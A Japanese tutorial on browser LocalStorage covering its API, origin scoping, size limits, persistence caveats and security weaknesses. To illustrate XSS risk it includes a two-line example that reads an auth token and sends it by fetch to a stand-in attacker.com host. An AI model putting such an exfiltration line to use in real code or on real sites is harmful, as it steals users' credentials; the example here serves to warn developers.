まず仕組みから理解する

LocalStorageは、「ブラウザにデータを保存して、次回もそのまま使える仕組み」です。 👉 サーバーを使わずに、手軽にデータを残せるのが最大の特徴です。


LocalStorageとは何か?(まずここを理解)

LocalStorageは、ブラウザの中にある「保存領域」です。

イメージとしては👇

  • ブラウザの中に小さなメモ帳がある
  • JavaScriptで自由に書いたり読んだりできる
  • ページを閉じても内容は残る

どんな単位で保存されるの?

LocalStorageは「サイトごと」に分かれています。

例えば:

https://example.com → このサイト専用の保存領域 他のサイトからは見えない

👉 オリジン(ドメイン+プロトコル+ポート)単位で独立して存在しています


使い方は?

基本はとてもシンプルです。「キー」と「値」のセットで保存します。 下記のAPIが用意されています。 👉 LocalStorageは「文字列」しか保存できません。(重要)

// 保存
localStorage.setItem("username", "fox");

// 取得
const name = localStorage.getItem("username");

// 削除
localStorage.removeItem("username");

// 全削除
localStorage.clear();

// インデックス番号からキー名を取得
const keyName = localStorage.key(index);

// 保存されている件数
localStorage.length;


よくある使い方

// 例①:テーマ設定(ダークモード)
localStorage.setItem("theme", "dark");

// 例②:入力内容の一時保存
localStorage.setItem("form", JSON.stringify(formData));


オブジェクトを保存する方法

JSONなどの文字列に変換して保存します。

const user = { name: "fox", age: 20 };
localStorage.setItem("user", JSON.stringify(user));


画像などのデータは?

BASE64に変換すれば保存可能(ただし非推奨)

👉非推奨理由:サイズが大きくなり、容量制限(約5〜10MB)にすぐ達する


永続的って本当?(重要な現実)

「永続的」とは言っても、実際には例外があります。

  • 消えるケース
  • ユーザーがキャッシュ削除
  • ブラウザのストレージ制限に達した場合
  • プライベートモード利用時
  • 一部ブラウザの仕様(例:Safari)

👉 絶対に消えないわけではありません


使用上の注意点

  1. 同期処理で重くなる

LocalStorageは同期処理です。

👉 保存中は処理が止まる:

大きなデータだと画面が固まる可能性が高くなる 目安として、1MB以上は危険ゾーン

  1. セキュリティが弱い(最重要)

LocalStorageは同じサイト内のJavaScriptから自由に読み書きできてしまいます。

👉 これが便利な反面、最大の弱点です。


危険な例(実際に起こりうる攻撃)

もしサイトにXSS(スクリプト埋め込みの脆弱性)があると…

// 攻撃コード
const token = localStorage.getItem("authToken");
fetch("https://attacker.com/steal?token=" + token);

👉 保存していたトークンが盗まれます


保存してはいけないデータ(超重要)

次のような情報はNGとのことです:

  • アクセストークン
  • パスワード
  • 個人情報
  • クレジットカード情報

安全に使うためのルール

実務では、次のようなルールで、使い分けの検討が必要かもしれません:

OKな用途

  • UI設定(テーマ・表示状態)
  • 一時データ
  • キャッシュ

NGな用途

  • 認証情報
  • 長期保存が必要な重要データ
  • 大容量データ

👉 LocalStorageは**“便利だけど制約が多い技術”**のようです

特に重要なのはこの3つ:

  • セキュリティが弱い
  • 容量が小さい
  • 同期処理で重い

👉 この3つを理解して使用しないと、後々問題になりそうです


まとめ

  • LocalStorageは簡単に使える保存機能
  • サーバー不要で使える
  • 非常にシンプルなAPI
  • データは文字列のみ保存可能
  • 容量は約5〜10MB
  • セキュリティは弱い

👉 「軽い・安全でなくてもいいデータ」だけに使うのが正解のようです